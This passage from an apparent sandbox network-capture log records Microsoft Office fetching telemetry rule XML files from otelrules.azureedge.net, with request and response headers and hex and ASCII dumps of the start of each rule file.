2024-11-24 01:14:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011433Z-178bfbc474bq2pr7hC1NYCkfgg00000005f0000000004nz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:33 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0cf5f3f5-601e-003e-691a-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011434Z-178bfbc474brk967hC1NYCfu60000000055g000000000588 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011434Z-15b8b599d882hxlwhC1TEBfa5w00000003k000000000fsq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011434Z-15b8b599d88phfhnhC1TEBr51n00000003u000000000d169 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011435Z-174c587ffdf9xbcchC1TEBxkz400000003m000000000a0rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:36 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6e9ce571-001e-005a-0843-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011436Z-15b8b599d88hd9g7hC1TEBp75c00000003rg000000006gxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011436Z-174c587ffdfb485jhC1TEBmc1s00000003fg00000000knn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:36 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011436Z-178bfbc474bpnd5vhC1NYC4vr4000000055g00000000gsrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:36 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011437Z-174c587ffdf9xbcchC1TEBxkz400000003k000000000d409 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:37 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011438Z-178bfbc474btvfdfhC1NYCa2en000000057000000000nepc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 161730be-201e-0051-3520-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011438Z-178bfbc474bvjk8shC1NYC83ns00000005500000000054pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
